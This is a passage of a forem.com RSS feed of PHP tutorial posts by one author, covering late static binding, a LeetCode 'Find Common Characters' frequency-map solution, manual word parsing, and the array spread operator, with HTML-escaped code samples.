&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UserController&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;BaseController&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;

&lt;span class="nv"&gt;$ctrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;UserController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(Answer: replace &lt;code&gt;???&lt;/code&gt; with &lt;code&gt;static::class&lt;/code&gt; and &lt;code&gt;new static()&lt;/code&gt; 😉)&lt;/p&gt;




&lt;h2&gt;
  
  
  🧵 Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Late static binding might sound fancy, but it's just a tool that lets your code act more like &lt;strong&gt;real-world behavior&lt;/strong&gt;: flexible, extendable, and smart at runtime.&lt;/p&gt;

&lt;p&gt;When you’re building reusable components, plugin frameworks, or Laravel-style factories — understanding this makes your OOP code &lt;strong&gt;next level&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>php</category>
    </item>
    <item>
      <title>DSA Pattern — Finding Common Characters From Words</title>
      <dc:creator>Al Amin</dc:creator>
      <pubDate>Sun, 08 Jun 2025 12:17:06 +0000</pubDate>
      <link>https://forem.com/dev-alamin/dsa-pattern-finding-common-characters-from-words-5a5e</link>
      <guid>https://forem.com/dev-alamin/dsa-pattern-finding-common-characters-from-words-5a5e</guid>
      <description>&lt;h2&gt;
  
  
  DSA Pattern — Finding Common Characters From Words (with Frequency Map Strategy)
&lt;/h2&gt;

&lt;p&gt;Today I solved &lt;a href="https://leetcode.com/problems/find-common-characters/" rel="noopener noreferrer"&gt;LeetCode 1002: Find Common Characters&lt;/a&gt; — and honestly, it was trickier than it looked. 😅&lt;br&gt;
This problem is marked &lt;strong&gt;Easy&lt;/strong&gt;, but only makes sense once you realize how to use &lt;strong&gt;frequency maps&lt;/strong&gt; across multiple strings.&lt;/p&gt;

&lt;p&gt;Let me break it down cleanly so you can reuse the pattern in similar problems.&lt;/p&gt;
&lt;h3&gt;
  
  
  🔍 Problem Summary
&lt;/h3&gt;

&lt;p&gt;Given an array of strings like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$words&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"bella"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"label"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"roller"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You need to return all characters that appear in &lt;strong&gt;every word&lt;/strong&gt;, including duplicates.&lt;br&gt;
So the answer should be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"e"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"l"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"l"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  💡 Key Strategy
&lt;/h3&gt;

&lt;p&gt;The idea is to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Count how many times each character appears in each word.&lt;/li&gt;
&lt;li&gt;Only keep the &lt;strong&gt;minimum count&lt;/strong&gt; for each character across all words.&lt;/li&gt;
&lt;li&gt;Rebuild the result based on that minimum count.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🧪 Pseudocode
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Initialize freq map from the first word

For each of the remaining words:
    Create a currentFreq map of character counts
    For each char in freq:
        If char exists in currentFreq:
            Update freq[char] = min(freq[char], currentFreq[char])
        Else:
            Remove char from freq (since it doesn’t exist in current word)

Initialize result list
For each char in freq:
    Add char to result freq[char] times

Return result
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🧑‍💻 PHP Code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;commonChars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$words&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Step 1: Get initial frequency map from first word&lt;/span&gt;
    &lt;span class="nv"&gt;$freq&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;array_count_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str_split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$words&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]));&lt;/span&gt;

    &lt;span class="c1"&gt;// Step 2: Compare with the rest of the words&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nb"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$words&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$currentFreq&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;array_count_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str_split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$words&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;]));&lt;/span&gt;

        &lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$freq&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$char&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$currentFreq&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nv"&gt;$freq&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$currentFreq&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;unset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$freq&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Step 3: Build final result based on freq&lt;/span&gt;
    &lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
    &lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$freq&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$char&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  📊 Time &amp;amp; Space Complexity
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Time Complexity: O(N * K)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;N = number of words&lt;/li&gt;
&lt;li&gt;K = average length of each word&lt;/li&gt;
&lt;li&gt;Because we loop through all words and compare frequencies per character.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Space Complexity: O(1)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We use constant space (at most 26 characters – a-z) for frequency maps.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔁 Reusable Pattern
&lt;/h3&gt;

&lt;p&gt;This pattern is reusable for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Intersection of character arrays&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding minimum character frequencies across strings&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Problems with “common across all” conditions&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;✅ &lt;strong&gt;This is now part of my core DSA templates. Hope it helps you too.&lt;/strong&gt;&lt;br&gt;
Let me know if you solved it differently!&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>dsa</category>
      <category>php</category>
    </item>
    <item>
      <title>DSA Pattern: A Clean Way to Parse Words from a String</title>
      <dc:creator>Al Amin</dc:creator>
      <pubDate>Fri, 06 Jun 2025 14:18:03 +0000</pubDate>
      <link>https://forem.com/dev-alamin/dsa-pattern-a-clean-way-to-parse-words-from-a-string-22bb</link>
      <guid>https://forem.com/dev-alamin/dsa-pattern-a-clean-way-to-parse-words-from-a-string-22bb</guid>
      <description>&lt;p&gt;🚀 &lt;strong&gt;A Clean Pattern for Word-by-Word String Parsing in PHP&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Recently, while solving problems like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Counting segments in a sentence&lt;/li&gt;
&lt;li&gt;✅ Reversing words&lt;/li&gt;
&lt;li&gt;✅ Manual string tokenization&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I discovered a powerful &lt;em&gt;template&lt;/em&gt; for breaking down a string into individual words &lt;strong&gt;without using built-in functions like &lt;code&gt;explode()&lt;/code&gt; or &lt;code&gt;str_word_count()&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Here's the simplified version of the logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$sentence&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="nv"&gt;$word&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nb"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Keep building the word until space is found&lt;/span&gt;
        &lt;span class="nv"&gt;$word&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Space hit = word finished, push it to array&lt;/span&gt;
       &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$word&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="p"&gt;){&lt;/span&gt;
          &lt;span class="nv"&gt;$sentence&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$word&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="nv"&gt;$word&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Reset word builder&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// After loop ends, push the last word (if any)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$word&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$sentence&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$word&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🧠 What’s happening here?
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;We're looping through each character.&lt;/li&gt;
&lt;li&gt;If the character is not a space → it's part of a word → build it.&lt;/li&gt;
&lt;li&gt;If the character &lt;strong&gt;is&lt;/strong&gt; a space → we finished building one word → store it → reset.&lt;/li&gt;
&lt;li&gt;At the end of the loop, if a word is still in progress, we save it.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  💥 Why is this helpful?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Works even when multiple spaces are between words (after using &lt;code&gt;preg_replace('/\s+/', ' ', $s)&lt;/code&gt; to normalize).&lt;/li&gt;
&lt;li&gt;Doesn't rely on external functions, gives you &lt;strong&gt;full control&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Can be adapted to parse custom delimiters or handle punctuation-sensitive input.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ✨ Bonus Insight:
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;final word&lt;/strong&gt; in a string is not followed by a space — so it &lt;strong&gt;never hits the “else” block&lt;/strong&gt;. That’s why the &lt;code&gt;if ($word !== '')&lt;/code&gt; after the loop is crucial. Without it, your last word would be lost!&lt;/p&gt;




&lt;p&gt;📌 &lt;strong&gt;Template takeaway:&lt;/strong&gt;&lt;br&gt;
If you're building tools that deal with sentence parsing, custom formatting, or you're preparing for string-related DSA problems, this small but powerful pattern will keep showing up!&lt;/p&gt;

&lt;p&gt;Let me know what you think, or how you'd adapt this for other tasks!&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>php</category>
      <category>dsa</category>
      <category>algorithms</category>
    </item>
    <item>
      <title>Exploring PHP Spread Operator (`...`) for Arrays: Tips, Tricks &amp; Real Use Cases</title>
      <dc:creator>Al Amin</dc:creator>
      <pubDate>Mon, 19 May 2025 05:29:32 +0000</pubDate>
      <link>https://forem.com/dev-alamin/exploring-php-spread-operator-for-arrays-tips-tricks-real-use-cases-89f</link>
      <guid>https://forem.com/dev-alamin/exploring-php-spread-operator-for-arrays-tips-tricks-real-use-cases-89f</guid>
      <description>&lt;h3&gt;
  
  
  Mastering PHP Spread Operator (&lt;code&gt;...&lt;/code&gt;) for Arrays
&lt;/h3&gt;

&lt;p&gt;The PHP spread operator (&lt;code&gt;...&lt;/code&gt;) — introduced in PHP 7.4 for arrays — is a powerful feature that often flies under the radar. It's especially handy when working with complex array structures or combining multiple arrays into one.&lt;/p&gt;

&lt;p&gt;In this post, we’ll demystify the spread operator in PHP, explore practical use cases, and highlight how you can use it to write cleaner and more expressive code.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔹 What is the Spread Operator in PHP?
&lt;/h3&gt;

&lt;p&gt;The spread operator (&lt;code&gt;...&lt;/code&gt;) allows you to &lt;strong&gt;unpack&lt;/strong&gt; arrays into argument lists or array literals.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$letters1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'a'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'b'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$letters2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'c'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'d'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$all&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="nv"&gt;$letters1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="nv"&gt;$letters2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// ['a', 'b', 'c', 'd']&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  💡 Use Case 1: Flatten Arrays for &lt;code&gt;array_merge()&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Let’s say you have an array of arrays and want to merge them all:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'a'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'b'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'s'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'t'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'u'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'x'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'y'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'c'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'d'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'e'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$merged&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;array_merge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nb"&gt;print_r&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$merged&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// Output: ['a', 'b', 's', 't', 'u', 'x', 'y', 'c', 'd', 'e']&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;✅ The &lt;code&gt;...&lt;/code&gt; operator unpacks each inner array and feeds them as individual arguments to &lt;code&gt;array_merge()&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  ⚠️ Mind-Bending Example: Double Spread
&lt;/h3&gt;

&lt;p&gt;This works too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$merged&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;array_merge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="s1"&gt;'a'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'b'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'s'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'t'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'u'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'x'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'y'&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'c'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'d'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'e'&lt;/span&gt;&lt;span class="p"&gt;]]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here’s what’s happening:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The inner spread (&lt;code&gt;...[[...], [..]]&lt;/code&gt;) flattens nested arrays into individual array arguments.&lt;/li&gt;
&lt;li&gt;The outer spread passes them to &lt;code&gt;array_merge()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;💥 Output is still:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'a'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'b'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'s'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'t'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'u'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'x'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'y'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'c'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'d'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'e'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cool, right?&lt;/p&gt;

&lt;h3&gt;
  
  
  🔹 Use Case 2: Multiple Parameters in Functions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$age&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
